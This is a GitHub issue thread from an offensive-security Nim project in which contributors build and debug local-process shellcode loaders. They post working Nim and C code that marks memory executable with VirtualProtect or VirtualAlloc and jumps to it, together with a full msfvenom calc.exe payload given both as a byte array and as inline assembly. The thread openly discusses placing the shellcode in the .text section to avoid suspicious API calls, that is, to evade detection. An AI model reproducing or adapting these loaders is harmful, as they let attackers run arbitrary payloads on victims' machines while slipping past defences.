Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Shellcode execution in same thread #16

Open
chvancooten opened this issue Jan 9, 2021 · 9 comments
Open

Shellcode execution in same thread #16

chvancooten opened this issue Jan 9, 2021 · 9 comments

Comments

@chvancooten
Copy link

chvancooten commented Jan 9, 2021

I have been trying to port the "standard" way for shellcode execution in the local process to Nim (i.e., without remote process creation and/or injection). IMO this is a key tool for the offensive toolset, and example code in the OffensiveNim repository would be greatly useful and appreciated! :)

This would mean porting (either or both of) the following C code snippets for shellcode execution to Nim.

  1. Using VirtualProtect() to make the shellcode executable and executing it:
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE;oldProtect);
((void(*)(void))shellcode)();
  1. Using VirtualAlloc() to create executable memory space, moving the shellcode to this location, and executing it from there:
BOOL *exec = VirtualAlloc(0, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, strlen(shellcode));
((void (*)())exec)();

Alternatively, if Nim can be used to write directly to the .text section of the memory, the shellcode could be placed and executed from there. As such, calls to Windows APIs can be avoided altogether (see here). I was however unable to find means to write to this section directly using Nim.

I had some stabs at this, but I keep running into walls because I'm not too familiar with low-level programming. The Windows API calls seem to succeed, but I can't properly assign and execute a function pointer in Nim. If anyone got this to work some code snippets would be greatly appreciated :)

@chvancooten
Copy link
Author

chvancooten commented Jan 9, 2021

I managed to (kind of) port both functions to Nim as below. The calc payload (from msfvenom) succesfully executes, but the program terminates with error Error: execution of an external program failed: program.exe, which halts its execution :/

Edit: The various msfvenom exitfunc options seem to all give the same result. However, when using calc.exe transformed into shellcode using donut, the error is NOT returned. Still though, execution of the thread does not continue after the payload returns, which may be related to the shellcode being executed in the same context as the main program...

import winim/lean

proc runShellcodeVirtualAlloc[I, T](payload: var array[I, T]): void =
    var allocated = VirtualAlloc(nil, len(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
    doAssert not allocated.isNil(), "Error executing VirtualAlloc()"
    copyMem(allocated, payload[0].addr, len(payload))
    
    let f = cast[proc(){.nimcall.}](allocated)
    f()

proc runShellcodeVirtualProtect[I, T](payload: var array[I, T]): void =
    var oldProtect : DWORD
    var ret = VirtualProtect(payload.addr, len(payload), PAGE_EXECUTE_READWRITE, oldProtect.addr)
    doAssert ret != 0, "Error executing VirtualProtect()"
    
    let f = cast[proc(){.nimcall.}](payload.addr)
    f()

when defined(windows):
    # msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp
    var payload : array[276, byte] = [
        byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
        0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
        0x63,0x2e,0x65,0x78,0x65,0x00 ]

    when isMainModule:

        runShellcodeVirtualProtect(payload)
        #runShellcodeVirtualAlloc(payload)
        echo "This is never printed because of the error"

(Based on the following code which does something similar: https://github.com/mratsim/photon-jit/blob/ef1954406d6f23677f702151397fcd6d3889aad3/photon_jit/photon_types.nim#L47)

@byt3bl33d3r
Copy link
Owner

Interesting, yeah i've reproduced this and don't know exactly whats going on here. I'm probably going to have to break out windbg to figure out why it's crashing after executing the shellcode. Will investigate further when i get some time.

@chvancooten
Copy link
Author

Sounds great! Regarding moving shellcode to the .text segment of the binary to avoid making Windows API calls for executable memory, someone in the Nim discord said that should be possible by using codegendecl pragma to tell the compiler to move consts to the .text section. Haven't looked into this yet, could be a nice "nimified" way to avoid suspicious Windows API calls though.
https://nim-lang.org/docs/manual.html#implementation-specific-pragmas-codegendecl-pragma

@byt3bl33d3r
Copy link
Owner

Haven't figured out why it's crashing yet. However, I did get shellcode execution via inline assembly working. This is a "workaround" for manually allocating the shellcode to the .text section. inline assembly gets allocated to the .text section automatically (see here).

proc runsc(): void = 
    # msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp
    asm """
.byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
ret
    """

runsc()
echo "OK wassup" # This never executes

Confirmed via CFF Explorer:

image

@OffenseTeacher
Copy link

Anyone got a working solution to make this method dynamic instead of hardcoding the shellcode?
I tried using this : https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement without success so far

@7ten7
Copy link

7ten7 commented Apr 8, 2021

Anyone got a working solution to make this method dynamic instead of hardcoding the shellcode?
I tried using this : https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement without success so far

I've been trying for a long time, but I haven't found a solution.Have you solved the problem?

@OffenseTeacher
Copy link

Anyone got a working solution to make this method dynamic instead of hardcoding the shellcode?
I tried using this : https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement without success so far

I've been trying for a long time, but I haven't found a solution.Have you solved the problem?

I have a working solution to inject dynamic shellcode but haven't found a solution to do it using inline assembly. In my solution, the shellcode isn't stored in the .text section. Let me know if you are still interested :)

@7ten7
Copy link

7ten7 commented Apr 8, 2021

Anyone got a working solution to make this method dynamic instead of hardcoding the shellcode?
I tried using this : https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement without success so far

I've been trying for a long time, but I haven't found a solution.Have you solved the problem?

I have a working solution to inject dynamic shellcode but haven't found a solution to do it using inline assembly. In my solution, the shellcode isn't stored in the .text section. Let me know if you are still interested :)

Yes, can you show me your solution? thank you!!!

@OffenseTeacher
Copy link

OffenseTeacher commented Apr 8, 2021

I just provided a POC via a pull request to this repo:
#29

Don't hesitate if you have any question!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants